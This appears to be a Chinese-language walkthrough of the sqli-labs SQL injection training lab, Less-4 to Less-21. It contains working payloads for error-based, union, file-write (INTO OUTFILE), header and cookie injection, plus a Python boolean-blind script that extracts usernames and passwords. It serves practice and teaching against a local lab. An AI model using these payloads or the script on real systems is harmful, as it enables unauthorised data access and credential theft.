less4
先试引号之类的闭合符号,发现有"需要闭合
尝试引号之后还是报错,从回显中发现是还有(需要闭合
这样就能正常回显
瞅一眼源代码
这题的主要特点就是这个 。
less5
输入正确id就you are in,有回显却不直接回显,可以使用报错注入,当然bool和时间盲注也行。但是报错肯定最方便.
报错注入常用函数:
这里我们就直接用updatexml()
按这个格式一路注入
唯一要注意的一点是,报错注入仅回显32位,所以需要二次查询
可以利用right()函数
后面的查询,不用多说
less6
一样的报错注入,不过是闭合双引号罢了
less7
很贴心,上来就提醒我们用outfile
实际上,读写操作是有权限的。拥有较高权限才能使用读写函数。
我们先来看看符号的闭合情况
没试出来,试不出来就fuzz
筛选出部分可能
再把这些可能拼接查询语句,发现只有 '))可以成功,应该就是这样闭合了。
根据几次尝试之后,发现,语句正确就回显废话,错误就说你语法错误。
有两个思路:
思路一:outfile读取文件
要想用好文件写入和读取,就必须知道文件路径
文件路径获取方法一般有四种:1.warning报错显示路径
2.通过phpinfo发现路径
3.通过数据库配置文件发现路径
4.根据该平台以往漏洞报告探索路径
我们这里是私网,就作个弊,用之前的靶机高出路径
-1'))union select 1,2,@@datadir--+
这里我们用@@datadir得出路径,其实@@basedir也行吧
payload:?id=-1')) union select 1,2,database() into outfile "D:\\phpstudy_pro\\WWW\\sqlilabs\\sqli-labs-master\\Less-7\\1.txt"--+
需要注意的一点是:需要用双斜杠连接各个文件夹,否则斜杠将被当作转义符号
后面正常注入就🆗
思路二:布尔盲注
写一个简简单单的脚本就欧克
less8
这题甚至比上一题更简单
它的闭合方式没那么花里胡哨,只有一个单引号
方法还是两个,一个是转移回显,另一个是布尔盲注
less9
两个方法
第一个还是转移回显
第二个是时间盲注
闭合条件是连猜带试做出来的
可以id=1'and sleep(3)--+
跑个脚本就可以
less10
除了闭合条件是双引号,其他的类似
less11
这个并没有什么创新,实际上就是改变了注入提交方式,现在变成了post类型
另外,正常回显是不出现结果的,所以我们可以使用报错注入
less12
同样是post注入,只不过闭合方式不同
跑字典就行了
less13
跑字典
发现两个点。其一是闭合方式(这个是用了很多次了)其二就是回显。
可以看到,
当语法出现错误的时候,它也会回显 。为后面寻找方法做铺垫
紧接着我们尝试联合注入,发现并不回显文字,只会有提示成功的图片。结合前面的观察。我们推测可以使用报错注入。
果然,一发入魂。
less14
和less13几乎一样,就是闭合方式不同
less15
跑完字典发现闭合方式还是很简单的。重点是后面的盲注吧。这次是post盲注。感觉有点麻烦
import requests # 获取数据库名长度 def database_len(): for i in range(1,10): url='http://localhost/sqlilabs/sqli-labs-master/Less-15/' data = { "uname":f"' or length(database())>{i}#", "passwd":"1", "submit":"Submit" } headers = { "Content-Type":"application/x-www-form-urlencoded", } r = requests.post(url,data = data ,headers =headers) if "flag.jpg" not in r.text: print('database_length:', i) return i #获取数据库名 def database_name(databaselen): name = '' for j in range(1, databaselen+1): for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz": url = 'http://localhost/sqlilabs/sqli-labs-master/Less-15/' data = { "uname": f"' or substr(database(),%d,1)='%s'#" % (j, i), "passwd": "1", "submit": "Submit" } headers = { "Content-Type": "application/x-www-form-urlencoded", } r = requests.post(url, data=data, headers=headers) if 'flag.jpg' in r.text: name = name + i break print('database_name:', name) # 获取数据库表 def tables_name(): name = '' for j in range(1, 30): for i in 'abcdefghijklmnopqrstuvwxyz,': url = 'http://localhost/sqlilabs/sqli-labs-master/Less-15/' data = { "uname": "' or substr((select group_concat(table_name) from information_schema.tables " \ "where table_schema=database()),%d,1)='%s'#" % (j, i), "passwd": "1", "submit": "Submit" } headers = { "Content-Type": "application/x-www-form-urlencoded", } r = requests.post(url, data=data, headers=headers) if 'flag.jpg' in r.text: name = name + i break print('table_name:', name) # 获取表中字段 def columns_name(): name = '' for j in range(1, 30): for i in 'abcdefghijklmnopqrstuvwxyz,': url = 'http://localhost/sqlilabs/sqli-labs-master/Less-15/' data = { "uname": f"' or substr((select group_concat(column_name) from information_schema.columns where " \ "table_schema=database() and table_name='users'),%d,1)='%s'#" % (j, i), "passwd": "1", "submit": "Submit" } headers = { "Content-Type": "application/x-www-form-urlencoded", } r = requests.post(url, data=data, headers=headers) if 'flag.jpg' in r.text: name = name + i break print('column_name:', name) # 获取username def username_value(): name = '' for j in range(1, 100): for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-': url = 'http://localhost/sqlilabs/sqli-labs-master/Less-15/' data = { "uname": f"' or substr((select group_concat(username) from users),%d,1)='%s'#" % (j, i), "passwd": "1", "submit": "Submit" } headers = { "Content-Type": "application/x-www-form-urlencoded", } r = requests.post(url, data=data, headers=headers) if 'flag.jpg' in r.text: name = name + i break print('username_value:', name) # 获取password def password_value(): name = '' for j in range(1, 100): for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-': url = 'http://localhost/sqlilabs/sqli-labs-master/Less-15/' data = { "uname": f"' or substr((select group_concat(password) from users),%d,1)='%s'#" % (j, i), "passwd": "1", "submit": "Submit" } headers = { "Content-Type": "application/x-www-form-urlencoded", } r = requests.post(url, data=data, headers=headers) if 'flag.jpg' in r.text: name = name + i break print('password_value:', name) if __name__ == '__main__': dblen = database_len() database_name(dblen) tables_name() columns_name() username_value() password_value()
less16
跑脚本,看闭合
后面同less15
less17
这次在页面上做了文章。变成了改密码的界面。经过尝试可以发现,对username有要求,即必须在数据库已经存在 。随便用一个之前的账号admin
开始在密码上注入
由于是修改密码,往往要么没有回显(就用布尔或者时间盲注)
有回显但没有我们想象中的回显位置(用报错注入)
先尝试简单的报错注入
1'and updatexml(0,concat(0x5e,database()),0)#
成功。这里有一点要注意,之前我们遇到的注入,我们拼接时常用逻辑词or连接。但是这次不同。由于这更像是执行一件事(修改密码)。所以逻辑连接词前面的无论如何都是真,所以我们必须用and连接,才能保证后面的语句执行!
后面爆数据出现了问题 1'and updatexml(1,concat(0x7e,(select password from security.users limit 0,1)),0)#
看看源码
它使用update语句更新数据。而我们拼接查询语句时,查询的也是users表。这就导致数据库不给与数据。所以,在from后,尝试1'and updatexml(1,concat(0x7e,(select password from (select table_name from information_schema.tables where table_schema='security' limit 2,1) limit 0,1)),0)#
仍然不行,它说要具体的表名。看了别人的wp
1'and updatexml(1,concat(0x7e,(select password from (select * from users)test limit 0,1)),0)#
成了。不知道为什么,test帮助后面的查询语句制表了。
less18
尝试了在password上注入,但是失败了。观察网页,发现登陆成功后会回显用户地址信息。怀疑user agent可能存在注入点。
一开始尝试1'and (updatexml(0,concat(0x5e,database()),0))#但是报错。仔细看看源代码
如果我们直接用注释符号结尾·的·话,很明显后面的语句全没了。因此,我们只能采取闭合的方式。payload:'and (updatexml(0,concat(0x5e,database()),0))and'
less19同理
less20
先抓包,fuzz之后发现全部失败
大概率是我们选错了post参数 或者post参数不与数据库交互
先验证第一种猜测。我们对之前用过的useragent和referer注入。同样失败。
尝试cookie注入。成功。
观看源代码
很明显,对post参数做了check_input过滤 。导致我们post注入失败。
less21
同样也是cookie注入,但是hackbar传了半天,老是提示乱码。
只能看看源代码了
原来是base64加密了
之后尝试几次闭合方式就成了。